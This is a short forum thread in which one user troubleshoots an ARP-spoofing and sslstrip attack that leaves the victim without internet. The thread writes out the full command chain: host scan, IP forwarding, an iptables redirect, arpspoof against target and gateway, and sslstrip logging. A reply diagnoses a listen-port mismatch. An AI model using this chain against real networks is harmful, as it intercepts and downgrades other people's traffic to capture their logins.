sslstrip with arpsoof: victim ends up w/ no internet

[echemmon]

Hello

OK so when I do sslstrip and try to make it work with arpsoof the victim's internet stops working. Like the pages won't load. Anybody else ever had that issue?

I did exactly:

nmap -sn <gatewayIP>/24
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port <listenPort>
arpspoof -i <interface> -t <targetIP> -r <gatewayIP>

sslstrip -l <listenPort>

tail -f sslstrip.log

and btw I used 8080 for listenPort but I don't think that matters.

Anywho, if somebody knows what's the problem - any advice would be very appreciated.

[digininja]

Why obfuscate your commands? Without seeing what you are actually doing and the network structure then it is hard to say what you've done wrong.

Drop the iptables and sslstrip, does everything work? That will give you a clue where the problem is.

[echemmon]

All the IPs I typed in were fine (192.168.1.1 for gateway, the bcast ip 192.168.1.255 for targetting the network and 10000 for listen port). But nevermind it works again. Still weird, though - I'd honestly like to know what caused that.

[digininja]

and btw I used 8080 for listenPort but I don't think that matters.

and 10000 for listen port

Sounds like that could be the problem to me.